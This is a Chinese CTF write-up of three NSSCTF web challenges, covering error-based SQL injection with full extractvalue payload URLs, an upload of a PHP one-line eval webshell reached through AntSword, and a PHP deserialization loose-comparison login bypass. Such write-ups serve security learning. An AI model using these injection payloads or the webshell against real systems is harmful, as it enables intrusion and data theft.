• NSSCTF-Web题目5


    目录

    [SWPUCTF 2021 新生赛]error

    1、题目

    2、知识点

    3、思路

    [LitCTF 2023]作业管理系统

    1、题目

    2、知识点

    3、思路

    [HUBUCTF 2022 新生赛]checkin

    1、题目

    2、知识点

    3、思路


    [SWPUCTF 2021 新生赛]error

    1、题目

    2、知识点

    数据库注入、报错注入

    3、思路

    首先,输入一个1

    输入1'

    数据库语句报错,且报错信息有回显出来,加入注释符

    正常回显,说明当前的闭合方式正确,为单引号的闭合,使用报错函数extractvalue

    http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,database())) --+

    得到数据库名为:test_db

    http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test_db'))) --+

    得到两个表:test_tb,users

    http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb'))) --+

    test_tb表的两个字段为:id,flag

    http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='users'))) --+

    users表的三个字段:id,username,password

    http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(flag) from test_db.test_tb))) --+

    得到flag的前半段,这里以为另外一半藏到别的地方,其实是没完全显示出来,使用函数substring

    substring()

    http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select substring(group_concat(flag),32,30) from test_db.test_tb))) --+

    合并起来的flag:NSSCTF{eed0ee27-1b46-4520-a7b5-71dd9183d446}


    [LitCTF 2023]作业管理系统

    1、题目

    2、知识点

    文件上传,蚁剑连接

    3、思路

    右键,查看源码,发现登录名和密码

    登录上去

    这里有很多功能,我们可以上传一句话木马文件 flag.php

    @eval($_POST['cmd']); #一句话木马
    ?>

    这里我们可以知道上传到根目录下

    上传成功后使用蚁剑连接

    连接成功后在根目录找到flag文件

    打开flag文件,得到flag

    得到flag:

    NSSCTF{d0dc1586-48ed-4661-8b97-02fd17bf0cd4}


    [HUBUCTF 2022 新生赛]checkin

    1、题目

    2、知识点

    PHP反序列化,数组

    3、思路

    题目给了我们一段代码

    $data_unserialize['username']==$username&&$data_unserialize['password']==$password

    审计代码,意思是username和password的值反序列后的值要相同,这里使用了弱类型比较(==)

    代码中给了两个值,先进行序列化后上传看看,使用在线网站

    PHP 在线工具 | 菜鸟工具 (jyshare.com)

    $info = array(
        'username'=>"this_is_secret",
        'password'=>"this_is_not_known_to_you"
    );
    echo  serialize($info);

    http://node5.anna.nssctf.cn:25489/?info=a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}

    flag没有出来,因为username和password的值更改了,我们不知道具体的值是什么

    这里我们就要考虑怎么使两个值相同

    弱比较中,true和非空、非零字符串弱比较(==)都是为true,所以我们使两个字段的值都为true

    $info = array(
        'username'=>true,
        'password'=>true
    );
    echo  serialize($info);
     

    将得到的值传给info

    得到flag:NSSCTF{5713f43e-708e-458e-a6fc-fd82c254f8d3}


    这篇文章就先写到这里啦,哪里不懂的或者哪里不足的欢迎批评指正

  • 相关阅读:
    PG::Potato
    Spring Cloud Alibaba-实现服务调用的负载均衡
    【RocketMQ】消息的拉取总结
    代码优化工具-测试程序执行时间-IDEAdebug+StopWatch
    node笔记记录28aynsc和await之3
    QT笔记——折叠框
    Splay
    为什么有HTTP协议,还要有websocket协议?
    解析/区分MOS管的三个引脚G、S、D(NMOS管和PMOS管)
    Arduino驱动DS18B20数字温度传感器(温湿度传感器)
  • 原文地址:https://blog.csdn.net/weixin_54055099/article/details/139472089